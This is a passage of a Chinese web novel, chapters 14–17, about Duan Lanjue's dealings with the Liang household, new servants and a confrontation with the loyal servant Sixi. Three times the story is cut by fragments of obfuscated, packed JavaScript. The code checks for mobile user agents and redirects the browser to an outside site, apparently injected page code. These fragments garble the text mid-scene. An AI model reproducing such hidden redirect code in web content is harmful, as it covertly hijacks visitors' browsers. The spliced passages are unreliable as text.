只听梁蕴行续道,“儿子查到,兰大勇近年常以寻医问诊为由出没赌场,朱莲也迷上了打马吊,想是终日装穷耐不住了,想找个地方挥霍一番。 “久赌无胜家,长此以往,即便给他们一座金山,怕也是不够用的。” 梁蕴行面无表情地推理,“若他二人出尔反尔,三年五载后回到汴都,将兰草告到汴都府,欲治他一个不孝之罪……母亲以为,梁家帮是不帮?” “……” 段澜觉藏身黑暗中,神情却与那头的栾夫人微妙重合,皆是一片空白。 “……那,找人一直盯着他们?”栾夫人问。 “盯着可以,圈禁不行。”梁蕴行侧目。 “他们都是上了户籍的平头百姓,若是打定主意告上汴都府,梁家拦着他们,等同于协从兰草罔孝,弃天理人伦于不顾。 “若阻拦失败,父亲便是首犯,梁家一门皆被牵连其中。若阻拦成功……” 梁蕴行垂眸,“母亲,朝堂上群狼环伺,个个都巴不得梁家倒台。 “父兄步步维艰,已然经不起更多风霜了。” 14. 忠仆马甲(1) 栾夫人手一抖,颓然跌了茶盏。 “根儿上的东西没解决,咱们便一日不得安生,”梁蕴行默默扶正茶碗,“此事,疏不如堵。” 栾夫人缓缓低下头,眼中忧思重重,想了好一会儿才吭声,“如若,我与你父亲愿收他为义子……” “不可。” 梁蕴行淡淡道,“大邹以孝为尊,养育之恩又居孝之首,生恩尚且要排在后边,更遑论名义上的父子了。 “您若认他为义子,怕只会叫兰家更肆无忌惮地扒着他,吸梁家的血。” “……” 段澜觉听墙角听到现在,越听越绝望,一股无名火从心头蹿了出来—— 这也不行那也不行,这恩干脆别报了呗! 他心里清楚,这事梁蕴行分析得很透彻,这两条路确实行不通,就算栾夫人愿意帮他,他也会推辞的。 他做不出把自己的烂账推到别人头上的破事。 可今晚的种种和现下的进退维谷都与梁蕴行有关,叫他不得不迁怒于这个多管闲事又冷漠无情的男人,甚至迁怒于这副身体的原主——你瞧瞧你救了什么混账东西!连拉你出火坑都办不到! 没用!废物!垃圾回收站都不愿回收的破玩意儿!!! 院外传来声响,仿佛是栾夫人起了身,边思索边往主院去了,梁蕴行缀在她身后,路过月洞门时脚步稍滞,但那零点零一秒的犹疑并未叫任何人察觉。 段澜觉擎等着他们都走了,长舒一口气站了起来,跺了跺已经麻痹的双腿。 不想了,回房间,睡大觉。 爱咋咋地吧……烂命一条就是干,大不了回兰家村去和那对夫妻斗法,他就不信青天白日之下那对夫妻还能吃了自己不成。 段澜觉前脚刚离开,已走出数尺开外的梁蕴行突然开口,“母亲不必为此过分担忧。” 栾夫人莲步轻移,手还搭在他臂上,闻言微微偏头,“莫非,蕴行已有了万全的法子?” 梁蕴行没吭声,只搀着栾夫人静静往前,走出好一段路才开口,“万全说不上,只是寻到一丝破绽罢了。” 说着,二人正好走出西畔湖,狭窄的小道一时豁然开朗,灯火通明。 梁蕴行抬起头,看向眼前的康庄大道,眸中似有两丛火苗,此起彼伏。 · 段澜觉回房后,先是闷头大睡了一觉,从月挂枝头睡到日上三竿,起来吃了个午饭,又在躺椅上睡了过去,活像具被抽干了精气的僵尸。 四喜一宿未眠,满面忧色守在门口,紧抿着唇不发一语。 直至晌午,院外传来叽叽喳喳的讨论声。 四喜抬起头,与行至客舍门前的人正对上眼,那人似乎有些惊讶,失笑道,“咦,你怎么自己来了?我找你找半天了!” 四喜愣了愣,匆忙上前行了个平礼,“一心哥,你怎么会在这?你不是陪大少爷大少夫人到行宫伺候了么?” “别提了,新帝勤政爱民,听闻河东一带突发旱灾,民不聊生,自觉在行宫避暑太过奢靡,未能与民同苦,故而提出要早些回銮,还要到护国寺为民祈福。 “这不,大少爷和少夫人即将打道回府,令我先回府里做些准备,顺便替他二位拜访兰家恩公,再做个……顺,水,人,情。” 名为一心的府卫身着干练的骑马服,一双神采奕奕的杏眼十分亲和友善,他招呼着一群人入了院,又叫停了客舍中所有奴仆的活计,叫他们分列排好,静待消息。 做完这一切,一心回身凑近四喜,上下打量了他一下,一个大鹏展翅把手臂搭在他肩上。 “你在这做什么呢?”他挑了眉,“四少爷也没同我说一声,光让我寻你寻你……小爷我可寻了你大半天!” “呃,让一心哥受累了……可四少爷为何要你寻我?” 四喜不动声色地把第一个问题揭了过去,陪着笑悻悻发问,却叫一心恨铁不成钢地“啧”了一声。 他又凑近半分,压低嗓子问,“昨晚宴清堂的事闹得这么大,你不知道?” “……知道的。” 四喜一想起昨晚便心有戚戚,神经倏地绷紧了。 一心却没发现他的异常,自顾自道,“昨儿夜里,大少爷和大少夫人就收到了府里传来的消息,那消息也不知是哪个老眼昏花的管事写的,语焉不详,急得他二人在行宫里团团转,我只好快马加鞭回府,替他二人探明情况。” 他紧了紧四喜的胳膊肘,“诶,你说四少爷怎么就那么冲动?那可是谢恩宴啊,当着众人的面就把兰家的底儿给掀了,虽说是为了他好,可这毕竟不是什么光彩的事,叫人家兰哥儿以后如何自处啊……” “……” 四喜嘴角扯了扯,想说四少爷突然发难绝非一时冲动,但眼下也不是个辩解的好时候。 他瞟了眼乌泱泱的众人,福至心灵,忽然猜到一心的真实来意。 “所以……这些奴仆是大少爷和大少夫人专程派您送来,给兰公子赔礼道歉的?” “嗯哼!” 一心扬了扬下巴,“这只是赔礼的一环,后面还有呢! “少夫人让人去库房选了许多好东西,还让阿生拿着他的牌子专程到苏杭一带,说是要请他娘家最负盛名的几位老裁缝来京,给兰公子做新衣服呢!” “这样啊……” 四喜并不惊讶于长房的面面俱到,却不明白这和自己有什么干系,于是腆着脸又问了一遍,“两位主子对兰公子当真上心……可四少爷让你找我,同这事,有关系吗?” 一心勾唇一笑,那笑中竟带了些意味深长。 “平日里你最是机灵不过,怎么今日突然变傻了?” 他抬起另一只手拍了拍四喜的胸脯,噙着笑道,“你打小跟在四公子身边,无趣极了吧……现在有一个好差事能落你头上,你要不要去?” 四喜一怔,段澜觉不耐烦的声音恰逢此时响起,“谁在外头啊?这么吵,叫人怎么睡啊!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337433|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“回公子,”四喜连忙转身,艰难地咽了咽嗓子,“是大少爷身边的一心求见。” “谁一心求见?” 段澜觉睡得迷迷糊糊,开机开得不情不愿,“有急事吗,能晚上再来吗?” “急是不急。” 一心松开手,整了整衣襟站直身体,扬着不高不低的声音端正答道,“只是兰公子若能早些把人定下来,这客舍里的诸多事务便能即刻开始打理,小的也好早些回长房复命。” 四喜被一心抢了话头,茫然地站在一侧,眼角余光再度瞥向庭中众人。 原来如此…… 长房要送的人不是普通的杂役小厮,排在前头的都是老熟人,且是各院里为数不多的……二等奴仆。 四少爷,是要将他彻底送给新主子。 四喜明白四少爷的意思,也对这个决定毫无异议,可今日……今日绝不是个好时候。 他昨夜才惹得兰公子不快,若今日再叫暴露了身份…… 四喜咬了咬唇,悄悄后撤步子转身要走,却听段澜觉在里面嘟嘟囔囔什么。 随即一阵窸窣声响起,像是一只大懒熊不情不愿地爬起来了。 “哎,那就先进来吧。” · 段澜觉揉了揉惺忪的双眼,打了个巨大的哈欠,回过神来人已经呼啦啦站了一屋子,惊得他登时醒了。 “这是……要把我捆走?”他小心翼翼试探。 “啊哈哈哈……兰公子当真风趣!” 一心向前几步,一甩褂摆,朝他行了个跪礼。 “小的一心,是长房一等府卫。大少爷和少夫人即将伴圣驾回京,特遣小的先行一步,替二位主子探视兰家恩公,给恩公问安。” 一众奴仆纷纷效仿,屋子里顿时黑压压跪倒一片。 段澜觉从没见过这么大阵仗,被强行开机的脑子还有点麻,手忙脚乱下地,把一心扶了起来。 “快起来快起来,在我这不用这么客套,更别跪我……” “应该的,”一心被扶起来,面上笑意更甚,“兰公子是梁家的大恩人,受小的们一跪自是受得。” “呃,话虽如此,也不用动不动下跪,我真的不太习惯……” 段澜觉尴尬一笑,眼神在已经起身的众人面上逡巡,又回到一心身上,“你就叫,一心?” “正是。” 一心看出了段澜觉脸上的不自然,笑着侧身,同他介绍道,“兰公子不必紧张,这些都是梁家的奴仆,不是来捆您的。 “大少爷说兰公子在咱们府里养病,就这么点下人伺候着,不成体统,传出去要叫人笑话,于是令小的从各房各院调派些得力的仆从过来,专程伺候您。” “这么多???”段澜觉瞳孔微震。 他又扫了好几眼,粗略估计下来至少有三四十号人,于是连连摆手,“不不不,这太客气了!我一个人吃喝拉撒,顶天了也用不着十个人啊,这些人都能顶一个村了吧……” 15. 忠仆马甲(2) “噢不,您误会了。” 一心乐不可支,抬起手从左向右划拉了一下,“前头这两排,是各房特意为兰公子甄选的府卫奴仆,都是有等阶在身上的,对府里的内务熟悉,使唤起来也得心应手些。 “大少爷的意思是紧着公子先挑,挑几个算几个,余下的便遣回先头的院子里做事,绝不叫公子难做。” 又一抬下巴示意,“后头那些家丁和粗使婆子,有一半是公子院里伺候惯了的,便只添一倍,也不算多。” 他笑了笑,“正好今日夫人发话了,说这客舍西边的二进院从今往后便留给兰公子独住,这点儿人手……怕是还不够呢!” “什么进院?” 段澜觉感觉自己像活在梦里,恨不得抬手扇自己两巴掌清醒清醒。 他耸了耸眉,眨巴几下眼皮试图捋清一心倒豆子般的话术,好不容易摸出一个线头,“你意思是,夫人把这一整片客房都赏给我了,所以要给我增加人手?” 一心端着笑脸,手交叠于身前做出一副乖巧的模样,“算是吧,但给您添人是长房的主意,各房也鼎力支持。这不,今日清晨,连一直在外办事的三少夫人都特意回府,把身边得力的仆奴送过来才匆匆出门的。” 说着,他退开半步,让段澜觉清晰地瞧见房中每一个人,“兰公子要不要先看看?若有合眼缘的便留下,不合眼缘的,即刻便可将他们打发出去了。” 段澜觉见事已至此,只得扯了扯嘴角,勉为其难移开了目光。 实则他心里没底得很,因为昨晚偷听了梁家母子的对话,知道自己现在就是个烫手山芋,在这府里怕是留不长。 不过无论如何,人家的好意他还是得领一领……来都来了,要是强硬拒绝,这领头的小哥怕是也不好交差。 他随便扫了眼那群仆奴,迟疑片刻,又看回一心身上,“人太多了,我看不过来……要不然,你给介绍介绍?” “行啊!” 一心也不磨蹭,挨个点名,利索地同段澜觉盘点起每个人的所属房系、入府年限和天赋特长。 他嘴皮子极溜,记性又好,霎时间什么笔墨纸砚、风花雪月等名字铺天盖地而来,炸得段澜觉当场宕机,脑瓜子嗡嗡的竟一个也没记住! “停,稍等一下!” 段澜觉抬手捏了捏眉间,失笑道,“一心小哥,你说慢点儿……这两位,叫什么来着?” “噢,他们啊,”一心扫了眼,乐了,“他们是一对双胞胎兄弟,是二少夫人偶然得的一对活宝,入府不到半年,说是特意送过来给公子您解闷,逗您一乐。” “嗯?” 段澜觉来了兴致,“怎么个活宝法,详细说说?”他看向两兄弟,“你们叫什么名字?” “回公子,小的没名字。”左边那位率先发言。 “小的也没有。”右边那位无缝衔接。 “嗯?没名字?” 段澜觉困惑地看着俩人,“没名字别人怎么称呼你们啊?” “回公子,他们都叫我大头。” “也叫我大头。” “毕竟我比他先出来大半个头。” “可我的头比他还大小半个头。” ????? 段澜觉震惊了,这俩人你一言我一语,竟是来了一段现挂的双人相声? 可他们这相声…… 好尬,好冷。 尴尬之余还多了些难登大雅之堂的市井俗气…… 但见这俩人一本正经地逗他开心,段澜觉突然有些心酸,又忽然明白柳慕云为什么要把他们送过来。 有这俩人时不时同他插科打诨,饶舌卖乖,兰朱二人给“兰草”留下的心理创伤,或许能更快痊愈吧…… “行,是挺逗的,”他发自内心笑了笑,“那我就恭敬不如从命,把他们收下了,替我谢过二少夫人吧。” “得嘞!”一心冲俩人使了个眼色。 “谢公子赏识!”俩人齐齐跪下,面露喜色。 “又跪,”段澜觉扶额苦笑,连忙招呼他们起来,“话说你俩是真没名字呢还是逗我呢?我总不能喊你们大头和更大头吧……” 俩头对视一眼,眼神交汇又分开后竟一齐发声,“小的无父无母,但请主子赐名!” “……” 一心看出段澜觉的惊愕,连忙上前解释,“兰公子,他们俩是二少爷和二少夫人在一个不入流的戏班子里救回来的。 “那戏班子是个腌臜地,里边所有戏子都被折腾得不像人样,唯此二人凭借双生子独有的默契和嘴皮子,侥幸得班主青眼,留了副健全的身子登台亮相……也算不幸中之万幸吧。” “噢——” 段澜觉眼神顿时沉了下来。 他在21世纪见过太多猎奇玩意儿,一听就知道是怎么回事了。 那所谓的“戏班子”应该是个变态集中营,班主为了满足某些富绅的猎奇心理,专门把一些孩子拐过去搞残,再逼他们练一些哗众取宠的节目,以满足那群变态畸形的心理诉求。 “后来梁家出手,解救了戏班子里的可怜人,又把一干人等送到庄子里妥善安置,府里便只留了这两位兄弟。” 一心说着,弯着眼看了看他们,“这两位从前在戏班子里是有名字的,但入府那日,俩人双双立誓要斩断过去,从此只为相府效命,便不让咱唤他们从前的名字了。 “二少夫人说要给他们重新取名,可他们刚入府没多久,四少爷便出事了,随后您二位重伤被抬进府里,事情一件压一件,便耽误至今。” 一心说着,突然心思一动,试探道,“如若兰公子得闲,不如由您来给他们取一个?” “我?” 段澜觉本想谦虚一番,但想起前头那些风花雪月莺莺燕燕的名字,便觉着给梁府下人起名好像也不需要什么文化。 他抬眼看向院中,在满目的花红草绿中逡巡,视线最终定格在月洞门附近的一棵葡萄藤上。 “嗯……就叫阿门和阿前,怎么样!” “?” 大头和更大头面面相觑,似乎对这名字颇为不解。 然则越是不解越觉玄虚奥妙,二人越想越美,交换眼神后再度跪下,以头磕地。 “阿门/阿前叩谢主子赐名!” “哎说了别跪!起来起来,都起来——” 一心抱着双臂在一旁看热闹,乐呵够了便打算继续点将,却被段澜觉叫停了。 “一心,两个就够了吧,我一个人真用不上那么多……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337434|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段澜觉道,“其他人你领回去,帮我谢过少爷少奶奶们,就别在这浪费时间了。” 一心眉梢一挑,龇着嘴傻乐,“兰公子啊,您若是挑了旁的人,我保证二话不说领了他们就走,可您挑的是这二位——” 他指了指阿门阿前,打趣道,“这二位自打入了府,便跟戏班子的角儿似的,只管陪二少夫人玩乐,不管杂事闲事,更没干过粗活累活。 “您让他们贴身伺候人……恐怕是有点难度。” “嘿,咱们哪里不行?”阿门不乐意了。 “您说不行就不行?”阿前也不甘人后。 “主子说咱行咱就是行!” “一心哥说咱不行,咱劝您谨言慎行!” 一心:“……” 段澜觉:“……” 众人:“…………” “您二位差不多得了啊!” 一心憋着笑抱着臂白了他们一眼,一等府卫的威风在这样的氛围下也大打折扣,“主子还没说什么呢,你们俩先不乐意上了,还真把自己当角儿了啊!” “没事,这样热闹点,挺好的。” 段澜觉被这俩人的顺口溜整懵了,反应过来又有点哭笑不得,摆摆手道,“贴身伺候的活不会可以学嘛,再说了,我这些日子的起居都有人照顾了,突然换人我也挺不习惯的,这样就很好。” “有人照顾您起居了?谁?” 一心领任务后还同大管家确认过,客舍里只派了一些府卫厨娘和粗使杂役过来,若有人近身伺候,也应当是在他们当中轮换,决计不会叫兰草“不习惯换人”。 但他脑子一转,顷刻便想通了……说不定是有人伺候得当,叫兰公子看上了,非要留他在身边服侍,那这样的人依例是可以提拔的。 只是兰草身份特殊,将来说不准能当府里的正经主子,那近旁的人便不止要贴心了,还得机灵、忠诚、得体,方能撑得起梁家的脸面。 他决心帮兰草掌掌眼,省得后面出了事,大少爷又要怪他办事毛躁,思虑不周。 “诶,你刚刚在门口,没见到他吗?” 段澜觉移开目光找人,却发现远在天边,近在眼前—— 四喜正垂肩颔首,微微躬着身子站在第一排C位。 “……” 仿佛是主仆间独有的心灵默契,四喜在一阵难言的沉默中缓缓抬起头,与段澜觉的视线对上。 “?”段澜觉心里一咯噔。 他看见那目光中除了昨晚便氤氲不散的愧疚,竟还藏了几分胆怯,以及一丝求饶之情。 “您是说……四喜?” 一心顺着段澜觉的视线看过去,眨眨眼,猛一敲脑壳,“哎哟,怪不得四少爷让我直接去找四喜呢!” 他无奈笑笑,“四少爷也真是,逗小的玩也不说一声……他若早说给您指了四喜兄弟过来,小的便不必折腾这一趟了。” 见段澜觉露出迷茫的神色,一心端着笑,朝他做了个揖,一本正经介绍道,“四喜兄弟乃是四少爷的近身随从,是从小陪着四少爷长大的家生子,十五岁便做到这府里的一等奴仆,机灵能干呀是出了名的!” 他直起腰板,满脸自豪地安利道,“有咱四喜兄弟照顾您,确实无需旁人再做添头了!” 16. 忠仆马甲(3) 嘎吱—— 门阖上了。 一心完成任务,带着一行人有序撤退。 安静如鸡的卧房中,段澜觉板着脸坐在床头,四喜垂着眼跪在地上,一旁站着俩不知发生了什么却十分敏锐,不敢吱声的活宝。 “你们先出去。” “是!” 阿门阿前没敢再来一段贯口,整齐划一行了个礼便退了出去。 门一关,房中只余主仆二人。 段澜觉盯着四喜看了几秒,突然嗤笑一声。 “原来如此,难怪……难怪你见到他跟老鼠见到猫似的,因为你本来就是他的人。 “倒是我眼神不好了。” 四喜强撑着身子,细看之下却连眼睫毛都在发颤,“公子,我……” “你俩的戏也不比我那养父母的差嘛,要不是受害者还是我,我真该给你们拍手叫好才是。” 说着,段澜觉真的合掌拍了几下,脸上却一点笑意也无。 “我几辈子都没遇上过这么精彩的戏,你们主仆二人,可算叫我开了眼了。” 他放下手,撑着身子往后一挪,把脚盘上了床,若有所思地打量着四喜,“说吧,梁老四让你来我院里做什么潜伏工作呢?监视我的一举一动?还是,偷听我和那对夫妇的对话,好得知我们对他算计到哪一步了?” “不,公子误会了,小的不是来监视您的!” 四喜惊得双手交叠,伏地求饶,“公子请息怒,四少爷让小的过来,只是看您院里没有掌事的仆奴,想叫您得一个可心的人伺候,仅此而已! “是小的自作主张,见您为结亲一事心烦,又怕您得知小的是四少爷的心腹,会曲解四少爷的好意,故而暂时隐瞒下来。谁知后来……小的不知如何开口,只能将错就错……” 四喜说着,又将身子压得更低,“可四少爷对您的关心天地可鉴,绝无他意啊!望公子万万不要疑心四少爷!” “你,自作主张?” 段澜觉笑了,舔了舔嘴唇,“四喜啊,你不会看着我大大咧咧的,就真把我当个蠢货吧?” 四喜低伏的身子倏地一僵。 “如果我不知道你是怎样的人也就罢了,可咱俩毕竟朝夕相处这么久,什么事该做什么事不该做,你心里盘得比我还清楚……你现在告诉我,这事是你自作主张瞒下的?” 段澜觉挑了挑眉,“难道你不知道,这事一旦败露会有什么后果?” “……” 四喜一动不动,一句解释也说不出口。 “但你的话吧……我也不是完全不能信,”段澜觉叹了口气,顺势往身边的软枕一靠,“毕竟一心凑了各房的能人异士来送人情,你们家少爷送的就是你,这说明他压根就不在乎你的身份暴露。 “要么,他脸皮厚到家了,故意恶心我;要么……” 段澜觉随手捞起床帘钩子上的穗穗搔了搔鼻梁,有条不紊分析道,“他一开始把你派来,确实没想到你能做到我近身奴仆的位置,所以没打算跟我报备? “只是后来的事情发展出乎了他的想象,所以才……” 四喜依旧跪伏着,闻言瑟瑟发抖,连指尖都在哆嗦。 “也不应该啊,你刚才说,他就是看我院里没有牛人才把你派来伺候的……像你这样的人才,搁哪个院都是一等一的打眼,他怎么会想不到呢?” 段澜觉晃了晃脑子,只觉这主仆俩的心思之深已经远远超过他大小脑容量的极限,决定不纠结了。 “算了,你来说吧。” 他猛一下坐直了身体,气场“噌”一下涨到了两米八。 “看在主仆一场,只要你今天的话能自圆其说,让我找不出破绽,我就勉为其难信你一次,也信你那位鬼迷日眼的四少爷一次。” 四喜惶惶然抬起头,和段澜觉目光相接,段澜觉一勾嘴角,冲他比了个“加油”的手势,“能不能说服我就看你了啊,加油编哦!” “……” 四喜咽了口唾沫,干巴巴道,“我,我……” “你……?” “求公子最后信小的一回!” 四喜遽然发力,再度将头重重磕了下去,实打实在地面叩出“咚”的一声。 “救命之恩如同再造,四少爷对您只有尊敬,绝无坏心,请公子万万不要疑心于四少爷,更不要同四少爷置气,伤了他的一番好意!” “……” 段澜觉被四喜的动作一惊,下意识要飞身下去扶他,又死死忍住了。 他看着这位倔如黄牛的忠仆,边舔后槽牙边点头,恨恨道,“车轱辘话又说回来了是吧……行!” 他整了整衣摆,挺直腰杆道,“你知不知道,世上有一种话,叫‘什么都没说却又什么都说了’?你这个反应很明显就是做贼心虚啊…… “看来你俩确实有事瞒着我,虽然事情不大,你却是宁死不会说的,对吧?” 四喜蜷缩指尖,咬唇不语。 “行,你不说,我心里也有数。我姑且可以相信你和他都不是要害我,但你让我别跟他置气——” 段澜觉笑了笑,挑眼一看四喜,“将心比心,你若是我,你能做到吗?” “……” “且不说观鹤亭边,你和他唱了一出双簧,把我当傻子似的耍得团团转,”段澜觉掰起一根手指,又掰下第二根,“也不说昨晚,他当众揭穿我养父母的真面目,没给我留任何情面。” 他掰下第三根手指,充满鄙夷地笑了笑,“可你瞧他昨晚说话的那个样子?” “说一句藏一句,踢一脚动一下,恨不得把‘你家算什么东西,也配跟我家联姻’刻在脑门上……”段澜觉放下手,冷哼一声,“我问你,到底我是他恩人,还是他是我冤家?我不生他的气生谁的气,你吗?我犯得着跟你一个从犯生气吗?” “……” 四喜被段澜觉一番话说得哑口无言,于是又连磕好几个头,“公子消消气,咱们四少爷……不是那样的人。” “不~是~那~样~的~人~” 段澜觉阴阳怪气学舌,端起手边冰镇的绿豆汤喝了口,又想起四喜平日里的熨帖,心中火气稍泄,“……那你起来,跟我说说他是怎样的人。” 四喜顿了顿,没动,“小的不敢妄议主子。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337435|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “他是你主子,我不是?” 段澜觉又嘬了口汤,压着火同他斡旋,“你都做到一等奴仆了,该不会不知道‘一奴不事二主’吧?” 四喜咬了咬下唇,“……知道。” “知道不就行了!” 段澜觉将汤盏重重放在床头的高凳上,“你不愿出卖旧主,说出你俩的秘密,这我也忍了,毕竟谁家对外人没点戒心呢是吧……但你,你现在是我的人了呀!” 段澜觉说着还有点委屈,“难道我让你聊聊他的为人处世,优点缺点,是什么很过分的事吗?” 四喜依旧摇头,咬紧牙关不语,像个狗皮膏药似的粘在地上一动不动。 “……”段澜觉说累了,翻了个白眼往后一靠,“那算了,你走吧,我用不起你这样的忠仆。” 说着又带了些自怨自艾的语气,“想来也是我命不好,先是摊上一对奇葩父母,救个人还能把自己搭进去,好不容易否极泰来,连最亲近的奴仆都不肯跟我交心…… “哎,命苦啊,命贱……” 不知是哪个词戳中了四喜,段澜觉感觉他极为明显地抖了一下,随即很缓慢,很缓慢地支起身子。 “四少爷,四少爷他……” 果然,对待四喜这样又聪明又忠诚的奴仆,还得连蒙带演,攻心才行。 只见四喜一脸为难,涨红着脸斟词酌句,仿佛说错一个字都能要了他的命。 沉默半晌,他艰难挤出一句话,“四少爷为人顶天立地,勤学谨肃,正直端方,是……汴都城内人人称道的真君子。” “缺点呢?” 段澜觉一骨碌坐起身,眼放精光,“你刚才说的这些都是官方话,我也看不出他有多么光明磊落,反而鬼鬼祟祟偷偷摸摸的……诶你说,他是性格上有什么缺陷吗?还有他和栾夫人的关系——” 咚! 四喜倏忽以头抢地,朝段澜觉狠狠地磕了好几个头! “求公子放过小的,别再问了……” 最后一下磕完,四喜伏在地上仰起头,头顶已经肿了一个大包,皮下充斥着殷红的血丝,“小的妄议少爷已是死罪,若再胡言乱语,攀扯主君主母之事,那便是罪上加罪,小的万死莫辞呀……” “你怕什么!我又不会告诉别人!” 段澜觉掰扯半天,心头火早就压不住了,扬声大吼,“你让我信你,信他,那你能不能也信信我!” “公子!” 四喜满眼通红,“此事无关信任,求公子不要再逼小的了……您若是心里有气,那便打小的板子出出气,或将小的赶出府去吧!切莫憋坏了身子!” “你特么——” 段澜觉倏地站了起来,“哐”一下撞到了红木床结实的顶帘。 “哎哟嘶——” “公子!” 四喜连滚带爬起身,又是扶段澜觉坐下,又是给他揉头,还腾出手来吩咐小厮去请大夫,又喊小厨房的婆子过来,煮消肿的汤药和热鸡蛋。 段澜觉疼得半死还在想:不愧是一等奴仆啊,这有条不紊的调度能力,搁哪个上市公司都能做到中层以上领导干部了吧…… 17. 转机(1) 头顶肿了个大包,被麻布包裹着的热鸡蛋翻来覆去地熨着,烫得很舒服。 段澜觉心里的火渐渐压了下去,那股身不由己的无力感却幽幽浮了上来。 “我刚刚话没说完。”他闷闷道。 四喜通红的手指顿了顿,“公子请讲。” 又道,“公子若是要赶小的走或是罚小的板子,能否先让小的伺候您,把这肿包给消了?” 他一边滚鸡蛋一边碎碎念,“这肿包太大,若是不及时处理,怕是瘀血难散,公子又一直没恢复记忆,往后也不知会有什么问题……” “……我不罚你,”段澜觉累觉不爱,“我就想跟你确认几件事。” “……公子请讲。” “第一件,”段澜觉深吸了口气,“今天在一心那儿确认过,你就……算是给我了,对吧。” “是。” 四喜毫不迟疑,想想又小心翼翼补了句,“听一心哥说,将小的指给您,还是四少爷的意思。” “你还需要听一心说?” 段澜觉还是没忍住开嘲讽,“我以为你会时常跟你家主子互通有无,暗度陈仓呢。” “……没有。”四喜有些心虚地垂了眼皮。 “算了,”段澜觉轻咳一声,“我意思是,从前你和你主子那些蝇营狗苟我可以不再计较,也不强求你跟我说梁家人的坏话,或者隐私、机密什么的……” “但以后我要是摊上事了,”段澜觉猛一坐直,“你得帮我分析形势,权衡利弊,排忧解难! “这个,你能做到的吧?” “能,”四喜分毫没犹豫,“我能。” “那还差不多。” 段澜觉噘了噘嘴,“第二件事,你跟了我,我就是最大的了吧?” 他回转身子,盯着四喜的眼睛确认,“我意思是,你会把我的秘密告诉别人吗?” “小的定然不会!” 这句比刚才那句“能”答得还要急促些,段澜觉满意了,但仍有些不放心。 “你想好了,我说的别人,不止是你家四少爷,还有栾夫人,梁丞相,甚至是你日后的妻子,孩子。” 他抿了抿唇,“除非有人把刀架到你脖子上吧……否则,你决不能出卖我,知道吗?” 四喜这回没急着答,放下鸡蛋便绕到段澜觉身前,跪地叠手触额,朝他深深一躬。 “公子,梁府家规有云,奴仆若不能管好自己的嘴,便当拔舌割耳,以土填口,曝于荒野之地以忏异心。” 四喜抬起头,义正词严道,“小的先头同您提过,‘不得暴露主子身份’乃梁家铁律,而这条,则是铁律之首,违者从重、从严惩处,绝无商讨余地。” “呃,我的事倒也不至于……” 段澜觉听到“拔舌割耳”,莫名感觉后背窜上一股凉气,连忙摆手,“我就是想确认一下,你跟我是一头的,毕竟你也知道,我这个人运气不好,亲爹妈没了,养父母既不想养我也不想当我父母,还趁我傻要我命……” “公子!别说这些……” 四喜眼中流露出一抹心疼,“公子放心,打今儿起四喜便是您的贴身奴仆,便是上刀山下火海也不会背叛您,更不会害您。” “行,要的就是你这句话。” 段澜觉拍拍手站起来,把四喜一把拉起,拍了拍他已经跪白了的膝盖。 “从前的事一笔勾销,我不生你的气了,你也别总是跪我,我不习惯。” “不过我也不是什么任人揉搓的软柿子,”他挺直腰,双手抱臂,一脸的忿忿不平,“你家四公子干的好事我都记着呢!你就算不跟我一块蛐蛐他,也少在我面前说他好话……我听着心烦。” “……是,小的遵命。” · 夜雨连明,而后,便是老长一段时光的平静无澜。 等待结果的日子是焦灼的,段澜觉住得再舒服也明白,自己不会一直待在梁家,只看梁家找什么由头,赔多少厚礼,给他恭恭敬敬送出门去,然后一别两宽,他走他的独木桥,梁家自有梁家的阳关大道。 可梁家人一直绝口不提,他也不知道以什么身份,寻什么机会去问。 这一来二去,便叫他等了十好几日。中途他等来了大相公和老大夫妇迟归半月的消息,又等来了梁家除梁四以外,好几拨人的探望,还等来了一群稀客—— 长房的另一名一等仆奴阿生,带着几位老裁缝自江南远道而归,只为同他量体裁衣,做几身奢华无边的苏绣和云锦。 “公子可知,那日送裁缝来的阿生哥,与一心哥是一对?” “嗯……嗯?” 段澜觉这几日放纵自己睡到日上三竿,睡得整个人都懒洋洋的,一边梳头一边哈欠连天,闻言顿时不困了,在铜镜里满脸震惊地瞪着四喜,“真的假的?” “自然是真的。” 四喜说事从不带任何前摇,他一边给段澜觉梳头,一边认真地回忆道,“听他们说,阿生哥是‘上面’的那位,我看不像,却也没法子证实。” “什么上面……嘶,你们,你们居然还聊这个?” 段澜觉反应过来惊掉了下巴,“我天,这也太那个什么了吧!” “叫公子见笑了。”四喜莞尔一乐,笑容里终于带了些这个年纪该有的少年气。 他将一缕杂毛藏进发丝里,用梳子蓖了蓖,对着铜镜里的清秀面容道,“咱们做奴才的,日日在这大宅院里窝着,不是上值便是在房中休沐,实在是没什么可打发时间的,故而时常说些彼此的私房事,聊以慰藉罢了。” 